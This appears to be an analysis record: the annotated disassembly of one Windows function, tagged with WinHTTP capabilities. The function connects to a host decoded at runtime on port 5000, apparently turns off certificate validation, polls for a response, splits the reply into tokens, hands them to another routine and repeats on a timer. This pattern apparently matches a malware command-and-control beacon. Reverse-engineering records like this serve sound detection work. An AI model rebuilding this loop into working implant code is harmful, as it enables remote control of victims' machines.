Function at 0x140002020
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rdi
sub rsp, 0x4a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x490], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x44], 0
xor eax, eax
cmp eax, 1
je 0x1400022db
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400060b8]
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x1400022c6
mov edx, 0x3b
lea rcx, [0x140006078]
call fcn.1400012d0
xor r9d, r9d
mov r8w, 0x1388
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400022a9
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400060a0]
lea rdx, [0x140006090]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000228c
mov dword [rsp + 0x6c], 0x3100
mov r9d, 4
lea r8, [rsp + 0x6c]
mov edx, 0x1f
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x14000227f
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x14000227f
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x40], 0
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
lea r9, [rsp + 0x68]
mov r8d, 0x3ff
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000227f
cmp dword [rsp + 0x68], 0
jbe 0x14000227f
lea rdx, [0x14000608c]
lea rcx, [rsp + 0x90]
call fcn.1400014f0
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140002234
movsxd rax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + rax*8 + 0x70], rcx
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
lea rdx, [0x140006088]
xor ecx, ecx
call fcn.1400014f0
mov qword [rsp + 0x60], rax
jmp 0x1400021fe
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + rax*8 + 0x70], 0
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x70]
call fcn.140001ed0
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400021b4
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x14000229c
mov ecx, 0x186a0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000205e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x1400022b9
mov ecx, 0x186a0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000205e
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x1400022d6
mov ecx, 0x186a0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000205e
jmp 0x14000205e
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.1400023f0
add rsp, 0x4a0
pop rdi
ret